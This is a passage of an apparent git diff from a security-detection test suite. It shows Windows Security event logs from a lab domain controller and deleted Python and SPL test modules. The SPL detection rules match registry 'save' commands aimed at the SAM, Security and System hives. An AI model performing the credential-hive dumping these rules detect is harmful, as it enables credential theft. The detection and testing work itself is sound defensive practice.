-ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258119 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57910B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258118 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258117 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258116 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258115 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x574157 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258114 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x573406 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258113 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x571336 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258132 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x579A27 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 10:48:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258131 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x579A27 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50986 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258130 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x579A27 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 10:48:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258133 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x474 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258135 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258134 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258136 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258138 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258137 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc0c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258139 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1218 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. diff --git a/bin/ssa-end-to-end-testing/modules/data_manipulation.py b/bin/ssa-end-to-end-testing/modules/data_manipulation.py deleted file mode 100644 index 5f08f1a0c1..0000000000 --- a/bin/ssa-end-to-end-testing/modules/data_manipulation.py +++ /dev/null @@ -1,59 +0,0 @@ -import json -from datetime import datetime -from datetime import timedelta -from pytz import timezone -import fileinput -import os -import re -import io -import logging - - -# Logger -logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO")) -LOGGER = logging.getLogger(__name__) -class DataManipulation: - - def manipulate_timestamp(self, file_path, sourcetype, source): - - if source == 'WinEventLog:Security': - return self.manipulate_timestamp_windows_event_log_raw(file_path) - - - def manipulate_timestamp_windows_event_log_raw(self, file_path): - path = file_path - - f = io.open(path, "r", encoding="utf-8") - pst = timezone('US/Pacific') - self.now = datetime.now(pst) - self.now = self.now.strftime("%Y-%m-%dT%H:%M:%S.%fZ") - self.now = datetime.strptime(self.now,"%Y-%m-%dT%H:%M:%S.%fZ") - - # read raw logs - regex = r'\d{2}/\d{2}/\d{4} \d{2}:\d{2}:\d{2} [AP]M' - data = f.read() - lst_matches = re.findall(regex, data) - if len(lst_matches) > 0: - latest_event = datetime.strptime(lst_matches[-1],"%m/%d/%Y %I:%M:%S %p") - self.difference = self.now - latest_event - - f.close() - - result = re.sub(regex, self.replacement_function, data) - - with io.open(path + ".swp", "w+", encoding='utf8') as f: - f.write(result) - return path + ".swp" - else: - f.close() - return path - - - def replacement_function(self, match): - try: - event_time = datetime.strptime(match.group(),"%m/%d/%Y %I:%M:%S %p") - new_time = self.difference + event_time - return new_time.strftime("%m/%d/%Y %I:%M:%S %p") - except Exception as e: - LOGGER.error("Error in timestamp replacement occured: " + str(e)) - return match.group() diff --git a/bin/ssa-end-to-end-testing/modules/github_service.py b/bin/ssa-end-to-end-testing/modules/github_service.py deleted file mode 100644 index dec758191d..0000000000 --- a/bin/ssa-end-to-end-testing/modules/github_service.py +++ /dev/null @@ -1,79 +0,0 @@ - -import git -import os -import logging -import glob - - -# Logger -logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO")) -LOGGER = logging.getLogger(__name__) - -SECURITY_CONTENT_URL = "https://github.com/splunk/security_content" - - -class GithubService: - - def __init__(self, security_content_branch): - self.security_content_branch = security_content_branch - if os.path.exists('security_content'): - LOGGER.warning(f"Found Existing Security Content Project") - self.created_repo = False - else: - self.security_content_repo_obj = self.clone_project(SECURITY_CONTENT_URL, f"security_content", f"develop") - self.security_content_repo_obj.git.checkout(security_content_branch) - self.created_repo = True - - - def clone_project(self, url, project, branch): - LOGGER.info(f"Clone Security Content Project") - repo_obj = git.Repo.clone_from(url, project, branch=branch) - return repo_obj - - def get_changed_test_files_ssa(self): - branch1 = self.security_content_branch - branch2 = 'develop' - g = git.Git('security_content') - changed_ssa_test_files = [] - ci_changes = False - - if branch1 != 'develop': - differ = g.diff('--name-only', branch1, branch2) - changed_files = differ.splitlines() - - for file_path in changed_files: - # added or changed test files - if file_path.startswith('tests'): - if os.path.basename(file_path).startswith('ssa'): - if file_path not in changed_ssa_test_files: - changed_ssa_test_files.append(file_path) - - # changed detections - if file_path.startswith('detections'): - if not 'deprecated' in file_path: - if os.path.basename(file_path).startswith('ssa'): - file_path_base = os.path.splitext(file_path)[0].replace('detections', 'tests') + '.test' - file_path_new = file_path_base + '.yml' - if file_path_new not in changed_ssa_test_files: - changed_ssa_test_files.append(file_path_new) - - # changed CI code - if file_path == '.gitlab-ci.yml' or file_path.startswith('bin/ssa-end-to-end-testing'): - ci_changes = True - - # all SSA test files for nightly build - else: - changed_files = sorted(glob.glob('security_content/tests/*/*.yml')) - - for file_path in changed_files: - file_path = file_path.replace('security_content/','') - if os.path.basename(file_path).startswith('ssa'): - changed_ssa_test_files.append(file_path) - - # changed CI code - if file_path == '.gitlab-ci.yml' or file_path.startswith('bin/ssa-end-to-end-testing'): - ci_changes = True - - return changed_ssa_test_files, ci_changes - - diff --git a/bin/ssa-end-to-end-testing/modules/security_content_handler.py b/bin/ssa-end-to-end-testing/modules/security_content_handler.py deleted file mode 100644 index f64d209280..0000000000 --- a/bin/ssa-end-to-end-testing/modules/security_content_handler.py +++ /dev/null @@ -1,58 +0,0 @@ -import sys -import yaml -import time -import os -import requests -import shutil - -from .data_manipulation import DataManipulation - - -def load_file(file_path): - with open(file_path, 'r', encoding="utf-8") as stream: - try: - file = list(yaml.safe_load_all(stream))[0] - except yaml.YAMLError as exc: - sys.exit("ERROR: reading {0}".format(file_path)) - return file - - -def prepare_test(file_path): - - # read test file and return as object - test_obj = load_file('security_content/' + file_path) - detection_obj = load_file('security_content/detections/' + test_obj['tests'][0]['file']) - - # download attack data - epoch_time = str(int(time.time())) - folder_name = "attack_data_" + epoch_time - os.mkdir(folder_name) - - for test in test_obj['tests']: - for attack_data in test['attack_data']: - url = attack_data['data'] - r = requests.get(url, allow_redirects=True) - attack_data_file_path = folder_name + '/' + attack_data['file_name'] - open(folder_name + '/' + attack_data['file_name'], 'wb').write(r.content) - - # Update timestamps before replay - if 'update_timestamp' in attack_data: - if attack_data['update_timestamp'] == True: - data_manipulation = DataManipulation() - data_manipulation.manipulate_timestamp(folder_name + '/' + attack_data['file_name'], attack_data['sourcetype'], attack_data['source']) - - dict_test = { - "test_obj": test_obj, - "detection_obj": detection_obj, - "attack_data_file_path": attack_data_file_path - } - - return dict_test, folder_name - - -def remove_security_content(): - shutil.rmtree('security_content') - -def remove_attack_data(file_path): - # remove attack data - shutil.rmtree(file_path) \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/modules/spl/detection.spl b/bin/ssa-end-to-end-testing/modules/spl/detection.spl deleted file mode 100644 index 1e2c938227..0000000000 --- a/bin/ssa-end-to-end-testing/modules/spl/detection.spl +++ /dev/null @@ -1,21 +0,0 @@ -| from read_ssa_enriched_events() -| eval timestamp=parse_long(ucast(map_get(input_event, "_time"), "string", null)) -| eval process_name=lower(ucast(map_get(input_event, "process_name"), "string", null)), - cmd_line=ucast(map_get(input_event, "process"), "string", null), - dest_user_id=ucast(map_get(input_event, "dest_user_id"), "string", null), - dest_device_id=ucast(map_get(input_event, "dest_device_id"), "string", null) -| where process_name="cmd.exe" OR process_name="reg.exe" -| where cmd_line != null AND - match_regex(cmd_line, /(?i)save\s+/)=true AND - ( match_regex(cmd_line, /(?i)HKLM\\Security/)=true OR - match_regex(cmd_line, /(?i)HKLM\\SAM/)=true OR - match_regex(cmd_line, /(?i)HKLM\\System/)=true OR - match_regex(cmd_line, /(?i)HKEY_LOCAL_MACHINE\\Security/)=true OR - match_regex(cmd_line, /(?i)HKEY_LOCAL_MACHINE\\SAM/)=true OR - match_regex(cmd_line, /(?i)HKEY_LOCAL_MACHINE\\System/)=true - ) -| eval start_time = timestamp, -end_time = timestamp, -entities = mvappend(dest_device_id, dest_user_id), -body = "TBD" -| into write_ssa_detected_events(); \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/modules/spl/detection2.spl b/bin/ssa-end-to-end-testing/modules/spl/detection2.spl deleted file mode 100644 index 73cabaaafc..0000000000 --- a/bin/ssa-end-to-end-testing/modules/spl/detection2.spl +++ /dev/null @@ -1,21 +0,0 @@ -| from read_ssa_enriched_events() -| eval timestamp=parse_long(ucast(map_get(input_event, "_time"), "string", null)) -| eval process_name=lower(ucast(map_get(input_event, "process_name"), "string", null)), - cmd_line=ucast(map_get(input_event, "process"), "string", null), - dest_user_id=ucast(map_get(input_event, "dest_user_id"), "string", null), - dest_device_id=ucast(map_get(input_event, "dest_device_id"), "string", null) -| where process_name="cmd.exe" OR process_name="reg.exe" -| where cmd_line != null AND - match_regex(cmd_line, /(?i)save\s+/)=true AND - ( match_regex(cmd_line, /(?i)HKLM\\Security/)=true OR - match_regex(cmd_line, /(?i)HKLM\\SAM/)=true OR - match_regex(cmd_line, /(?i)HKLM\\System/)=true OR - match_regex(cmd_line, /(?i)HKEY_LOCAL_MACHINE\\Security/)=true OR - match_regex(cmd_line, /(?i)HKEY_LOCAL_MACHINE\\SAM/)=true OR - match_regex(cmd_line, /(?i)HKEY_LOCAL_MACHINE\\System/)=true - ) -| eval start_time = timestamp, -end_time = timestamp, -entities = mvappend(dest_device_id, dest_user_id), -body = "TBD" -| into write_ssa_detected_events(); diff --git a/bin/ssa-end-to-end-testing/modules/spl/firehose.spl b/bin/ssa-end-to-end-testing/modules/spl/firehose.spl deleted file mode 100644 index c8bdf3a602..0000000000 --- a/bin/ssa-end-to-end-testing/modules/spl/firehose.spl +++ /dev/null @@ -1 +0,0 @@ - | from read_splunk_firehose(); \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/modules/spl/firehose2.spl b/bin/ssa-end-to-end-testing/modules/spl/firehose2.spl deleted file mode 100644 index be0790a827..0000000000 --- a/bin/ssa-end-to-end-testing/modules/spl/firehose2.spl +++ /dev/null @@ -1 +0,0 @@ -| from read_splunk_firehose(); \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/modules/spl/troubleshoot.spl b/bin/ssa-end-to-end-testing/modules/spl/troubleshoot.spl deleted file mode 100644 index d374be63ef..0000000000 --- a/bin/ssa-end-to-end-testing/modules/spl/troubleshoot.spl +++ /dev/null @@ -1 +0,0 @@ -| from read_ssa_enriched_events() | into write_ssa_detected_events(); \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/modules/ssa_utils.py b/bin/ssa-end-to-end-testing/modules/ssa_utils.py deleted file mode 100644 index 9c0a80626b..0000000000 --- a/bin/ssa-end-to-end-testing/modules/ssa_utils.py +++ /dev/null @@ -1,55 +0,0 @@ -import os -import json -import hashlib -#import urllib.request -from requests import get -import re -import logging -from modules.testing_utils import log - -SSML_CWD = ".humvee" -HUMVEE_ARTIFACT_SEARCH = "https://repo.splunk.com/artifactory/api/search/artifact?name=humvee&repos=maven-splunk-local" - - -def get_latest_humvee_object(): - #res = json.loads(urllib.request.urlopen(HUMVEE_ARTIFACT_SEARCH).read().decode('utf-8')) - 